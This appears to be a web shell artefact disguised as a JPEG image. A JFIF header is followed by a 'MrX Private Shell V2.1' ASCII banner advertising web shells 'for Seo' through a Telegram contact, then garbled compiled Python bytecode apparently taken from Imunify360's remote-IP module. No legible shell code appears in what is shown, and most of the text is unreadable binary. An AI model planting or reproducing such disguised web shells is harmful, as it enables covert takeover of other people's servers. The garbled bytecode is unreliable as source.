����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
�~Ci��Bz� �� � d dl Z d dlZd dlmZ d dlmZ d dlmZ ddlm Z ddl
mZ ej e
� � Z G d� d e� � Z G d
� de � � Z G d� d
� � ZdS )� N)�Optional)�PanelException)�
web_server� )�RemoteIPInterface)�HostingPanelc � � e Zd ZdS )�
RemoteIPErrorN)�__name__�
__module__�__qualname__� � �J/opt/imunify360/venv/lib/python3.11/site-packages/im360/subsys/remoteip.pyr
r
s � � � � � ��Dr r
c �2 � e Zd Zdefd�Zdee fd�ZdS )�LiteSpeedRemoteIP�returnc � �� K � t t j d� � � � � }t j |� � }|� � � }|� � � }||j k rdS ||j k rdS ||j k rVt j d� � }|D ]=\ }}|r6|dk r dS t j |� � }||v r dS �-# t $ r Y �9w xY w�>dS t d� � �)N�rbFT� 127.0.0.1�ALLz,Unknown value for client ip in header option)�openr �LITESPEED_CONF_PATH�read�LiteSpeedConfig�client_ip_in_header�access_control_allowed_list�CLIENT_IP_IN_HEADER_DISABLED�CLIENT_IP_IN_HEADER_ENABLED�#CLIENT_IP_IN_HEADER_TRUSTED_IP_ONLY� ipaddress�IPv4Address�
ip_network�
ValueErrorr ) �self�content�config�proxyIP�allowed� localhost�item�trusted�item_networks r �remoteip_activatedz$LiteSpeedRemoteIP.remoteip_activated s0 � � � ��z�5�t�<�<�A�A�C�C���+�G�4�4���,�,�.�.���4�4�6�6���f�9�9�9��5��f�8�8�8��4��f�@�@�@�!�-�k�:�:�I�!(�
(�
(�
��g�� (��u�}�}�#�t�t�(�'0�';�D�'A�'A�� %��4�4�#'�4�4� 5�� &� !� !� !� ��!���� (� �5��K�L�L�Ls �7C�
C �C c � � K � t t j d� � � � � }t j |� � }|� � � }|� |j � � |� d� � |� |� � t t j d� � 5 }|�
|� � � � � d d d � � n# 1 swxY w Y t j � � � d {V �� d S )Nr )r T�wb)
r r r r r r �set_client_ip_in_headerr �add�set_access_control_allowed_list�write�tostring�graceful_restart)r% r&